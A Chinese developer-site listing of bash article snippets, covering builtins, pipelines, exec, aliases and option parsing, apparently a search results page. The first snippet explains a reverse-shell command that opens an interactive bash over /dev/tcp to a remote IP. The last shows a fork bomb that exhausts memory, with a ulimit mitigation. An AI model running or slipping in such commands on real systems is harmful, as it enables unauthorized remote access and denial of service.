首页
学习
活动
专区
圈层
工具
发布

深入bash反弹shell的那条命令

对于bash反弹shell这条命令,相信很多同学都很熟悉了: /bin/bash -i >& /dev/tcp/192.168.21.1/XXX 0>&1 但是这里面的每个细节是否都清楚了,这可就不一定了...关于-i root@instance-2:~# man bash | grep -E "\-i" -i If the -i option is present, the shell...首先-i是交互的模式,这个好像是必须的,但是真的吗,其实不用-i也是可以的 因为本来bash就是交互式的吧 关于>& root@kali:~# man bash | grep "Redirecting...看bash的文档,可以看到,这个是将标准输出和标准错误都重定向了 跟 >word 2>&1的效果是一致的 当然我们用&>也是可以的 关于0>&1 0>1是将标准输入重定向到文件名为1的文件,不存在就创建...的ip这么多,端口是1-65535,这是多么庞大的一个组合 那么这是可能只是bash的特性,我们可以从man文档中看到 root@instance-2:~# man bash | grep "/dev/

25200

SHELL(bash)脚本编程五:内置命令

bash的内置命令和外部命令的使用方法相同,我们已经介绍了一部分内置命令的用法,本文接着介绍另一些常用内置命令的用法。 1、: 此命令的执行没有任何效果,但在命令执行前会进行参数扩展和重定向。...eval echo ${array[*]/#/$} 4、hash bash中执行的外部命令会被缓存在一个哈希表中,直接执行命令hash可以查看当前bash缓存了哪些外部命令: [root@centos7...将参数作为 shell 命令执行。 将 ARGs 合成一个字符串,用结果作为 shell 的输入, 并且执行得到的命令。...退出状态: 以命令的状态退出,或者在命令为空的情况下返回成功。 6、shopt 设置或取消设置shell选项,这些选项都是用来控制shell行为的。.../bin/bash -x #在需要保护运行的代码前设置忽略的信号: trap "echo 'protected'" 1 2 3 20 #或者 trap "echo 'protected'" HUP INT

91120
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    使用bash编写Linux shell脚本--复合命令

    如果状态码返回的是 0 ,则表示该命令运行成功,其他的状态码表示某种错误。 状态码包含在变量“ $? ”中。...在管道中,一次运行几个命令。从管道返回的状态码是最后一个命令的状态码。下面的示例中,显示的是 wc 命令而不是 ls 命令的状态码。...0 虽然 ls 报告了一个错误,管道返回的还是成功的状态码,因为 wc 命令是运行成功的。 Bash 也定义了一个数组称之为 PIPESTATUS ,它包含了上此运行管道中每一个命令的单独状态。...then 命令前分号是必须要有的,虽然它是和 if 一起工作的,但是它仍然是一个单独的命令,所以需要分号进行分割。 if 命令亦可以有一个 else 命令的分支,它可以在条件失败的时候运行。...2>& fi 在 if 命令中嵌入复杂的命令会使脚本语言难读且难以调试。你应该避免这样做。在这个例子中,如果 rm 命令运行失败,则它先显示自己的提示信息,接着显示脚本中的信息。

    3.1K101

    shell命令以及运行原理

    从技术角度, Shell 的最简单定义:命令行解释器( command Interpreter )主要包含: 将使用者的命令翻译给核心(kernel)处理。...或者运行起来一个应用程序)。 shell 对于 Linux ,有相同的作用,主要是对我们的指令进行解析,解析指令给 Linux 内核。...反馈结果在通过内核运行出结果,通过shell 解析给用户。 shell外壳存在的意义:1、变相的保护操作系统。...而shell本身一般而言并不执行对应的指令。 就像window的图形界面,本质上而言也是一种外壳程序。Linux shell命令行外壳 和 window 图形界面是兄弟关系。...另外,shell外壳是统称,而例如博主买的centos 7 中的bash则是具体的称呼。就好像shell外壳是老师群体,而bash则是数学老师老王。

    82010

    Shell 命令及运行原理

    作为操作系统进行操控的主要接口,知道 Shell 为什么能运行命令,以及其内部原理,对于报错调试和系统深入了解尤为重要。 本文将通过主要两个部分介绍 Shell 的基础知识和命令执行的原理流程。...常见的 Shell 系统 Bash – 最常用的 Shell,默认的 Linux Shell; Zsh – 增强了 Bash 功能,配置性很强。...Shell 命令的运行原理 在 Shell 中输入命令后,一个命令会经历一系列流程来执行: 流程图 用户输入命令 ↓ Shell 解析命令(变量替换、通配符展开等) ↓ 查找命令...调用创建一个新的子进程; 子进程通过 exec 调用加载命令对应的执行文件; Shell 等待子进程运行完成,返回选择状态和输出结果。...总结 Shell 在操作系统中起着课程解释和命令执行的重要作用,其原理根据以下步骤运行: 输入解析 查找命令 fork 和 exec 执行命令 结果显示 深入了解这个流程,可以在命令行上可以更好地调试和解决问题

    58510

    如何在Bash Shell脚本中使用`exec`命令?

    exec 是一个在Bash Shell脚本中使用的命令,它允许您替换当前进程的内容,包括进程ID和文件描述符。...本文将详细介绍如何在Bash Shell脚本中使用exec命令,并提供一些常见的用例和示例。...下面我们将介绍几个常见的使用 exec 命令的场景:替换当前 Shell 进程在Bash Shell脚本中,您可以使用 exec 命令替换当前的Shell进程。...总结exec 命令在Bash Shell脚本中的使用提供了灵活的功能。您可以使用 exec 命令替换当前的Shell进程、切换到不同的命令解释器以及重定向标准输入、输出和错误输出。...通过合理使用 exec 命令,您可以在Shell脚本中实现更高级的功能和控制。本文介绍了在Bash Shell脚本中使用 exec 命令的基本语法和用法,并提供了几个常见的使用场景和示例。

    5.6K50

    MacBook Pro 下Bash Shell 利用Alias 简化命令

    Alias是linux中常用的别名命令,这么好的东东在mac中自然不会舍去。当有一些比较复杂的命令需要经常执行的时候,alias对效率的提升立竿见影。...那么通过alias现在可以这样改进: 1.编辑~/.bash_profile,通常这个文件是不存在的,那么新建它,有的话就打开修改添加。...3.bash下执行”source ~/.bash_profile“,此条命令是使bash重新载入配置令刚才命令生效。 4.以后需要使用上述复杂命令,只需在bash中输入“go”即可。...要查看自定义的alias命令,直接在bash中输入alias即可查看。.../etc/profile生效) 5) 在shell终端,输入“alias”命令查看,如上图,或直接输入“ll”查看结果

    2.1K50

    Linux的Bash Shell详解

    一、Bash Shell概述   1.什么是bash           bash是Bourne Again Shell的简称,是从unix系统中的sh发展而来的,是用户和Linux内核交互的工具,用户通过...2.shell的种类           /bin/sh(已经被/bin/bash替代)           /bin/bash(默认的shell)           /bin/ksh(源自贝尔实验室...3.bash的历史和发展 ? 二、Bash Shell的变量概述   1.变量是代表一些值的符号。   2.可以通过变量来设置shell或者其他程序。   3.变量存在于内存中。   ...:             通过完整的登录流程时运行的shell。            ...2.non-login shell:             不需要登录流程就可以执行的shell,如su和原bash下的新bash动作             ~/.bash_rc、/etc/bashrc

    4.6K40

    bash和shell的入门中

    现在我们知道系统里面其实有不少的 ls 指令,或者是包括内建的 echo 指令,那么来想一想,如果一个指令 (例如 ls) 被下达时, 到底是哪一个 ls 被拿来运行?...shell 在开始介绍 bash 的配置文件前,我们一定要先知道的就是 login shell 与 non-login shell!...重点在于 有没有登入 (login). login shell:取得 bash 时需要完整的登入流程的,就称为 login shell。...这是正常的,因为你并没有呼叫 /etc/bashrc 来规范 PS1 变量啦!而且这样的情况也 不会影响你的 bash 使用。.... 7.3.4 其他相关配置文件 事实上还有一些配置文件可能会影响到你的 bash 操作的,底下就来谈一谈: /etc/man_db.conf 这个文件乍看之下好像跟 bash 没相关性,但是对于系统管理员来说

    1.5K20

    bash和shell的入门下

    基本上你有两个选择:一个是透过 shell script 撰写脚本去执行,一种则是透过底下的介绍来一次输入多重指令. 8.2.1 cmd ; cmd(不考虑指令相关性的连续指令下达) 在某些时候,我们希望可以一次执行多个指令...8.3 管线命令 (pipe) 就如同前面所说的, bash 命令执行的时候有输出的数据会出现! 那么如果这群数据必需要经过几 道手续之后才能得到我们所想要的格式,应该如何来设定?...这就牵涉到管线命令的问题了 (pipe) ,管线命令使用的是|这个界定符号! 另外,管线命令与连续下达命令是不一样的! 这点底下我们会再说明。底下我们先举一个例子来说明一下简单的管线命令。...能解决问题的方法,就是好方法! 8.9 关于减号 - 的用途 管线命令在 bash 的连续的处理程序中是相当重要的!另外,在 log file 的分析当中也是相当重要的 一环,所以请特别留意!...版权属于:龙之介大人 本文链接:https://i7dom.cn/157/2019/22/linux-bash-shell-03.html 本站所有原创文章采用知识共享署名-非商业性使用-相同方式共享

    1.2K20

    bash和shell的入门上

    bash主要兼容于 sh ,并且依据一些使用者需求而加强的 shell版本。 6.2.1 bash 主要的优点有底下几个: 命令编修能力 (history): 这么多的指令记录在哪里呢?...使用:『 ls -l /usr/bin/X* 』就能够知道. 6.3 查询指令是否为 Bash shell 的内建命令: type 那我怎么知道这个指令是来自于外部指令(指的是其他非 bash 所提供的指令...因为子程序仅会继承父程序的环境变量, 子程序不会继承父程序的自定义变量!所以你在原本 bash 的自定义变量在进入了子程序后就会消失不见,一直到你离开子程序并回到原本的父程序后,这个变量才会又出现!...shell 时 (亦即启动子程序,而离开原本的父程序了),子 shell 可以将父 shell 的环境变量所在的记忆区块导入自己的环境变量区块当中。...不过要提醒的是,这个『环境变量』与『bash 的操作环境』意思不太一样,举例来说, PS1 并不是环境变量, 但是这个 PS1 会影响到 bash 的接口 (提示字符)!

    1.1K20

    如何在 Bash shell 脚本中解析命令行选项

    Bash 中的选项解析 在 Bash 中解析选项的策略是循环遍历所有传递给 shell 脚本的参数,确定它们是否是一个选项,然后转向下一个参数。重复这个过程,直到没有选项为止。 #!...在脚本的末尾,$ALPHA 的值会输出到终端。 测试一下这个脚本: $ bash ./test.sh --alpha 1 $ bash ./test.sh $ bash ....在 Bash 中检测参数 但上面的脚本还有一个问题:多余的参数被忽略了。 $ bash ..../test.sh --alpha foo 1 $ 要想捕获非选项名的参数,可以将剩余的参数转储到 Bash 数组 中。 #!...你可以替换使用 case 语句或 getopt 命令。无论使用什么方法,给你的用户提供选项都是应用程序的重要功能,而 Bash 让解析选项成为了一件简单的事。

    2.9K20

    提升工作效率的几个bash shell命令及快捷键

    常用Bash shell快捷键 Ctrl + a :移到命令行首 Ctrl + e :移到命令行尾 Ctrl + c :删除整行 Ctrl + d :删除光标所在处字符 Alt(或option) + f...:按单词前移(右向) Alt(或option) + b :按单词后移(左向) Ctrl + xx:在命令行首和光标之间移动 Ctrl + u :从光标处删除至命令行首 Ctrl + k :从光标处删除至命令行尾...-i:在搜索的时候忽略大小写 -n:显示结果所在行号 -c:统计匹配到的行数,注意,是匹配到的总行数,不是匹配到的次数 -o:只显示符合条件的字符串,但是不整行显示,每个符合条件的字符串单独显示一行...-v:输出不带关键字的行(反向查询,反向匹配) -w:匹配整个单词,如果是字符串中包含这个单词,则不作匹配 -Ax:在输出的时候包含结果所在行之后的指定行数,这里指之后的x行,A:after -Bx:在输出的时候包含结果所在行之前的指定行数...,当我们只关心有没有匹配到,却不关心匹配到什么内容时,我们可以使用此命令,然后,使用”echo $?”

    85830

    linux bash Shell脚本经典 Fork炸弹演示及命令详解

    Jaromil 在 2002 年设计了最为精简的一个Linux Fork炸弹,整个代码只有13个字符,在 shell 中运行后几秒后系统就会宕机: :(){:|:&};: 这样看起来不是很好理解,我们可以更改下格式...Gif图: 看,运行一段时间后直接报出了-bash: fork: Cannot allocate memory,说明内存不足了。...,在Linux中,我们可以通过ulimit命令来限制用户的某些行为,运行ulimit -a可以查看我们能做哪些限制: ubuntu@10-10-57-151:~$ ulimit -a core file...但这样是不彻底的,关闭终端后这个命令就失效了。...,就会发现最大进程数已经更改为20了, 这个时候我们再次运行炸弹就不会报内存不足了,而是提示-bash: fork: retry: No child processes,说明Linux限制了炸弹创建进程

    2K50
    领券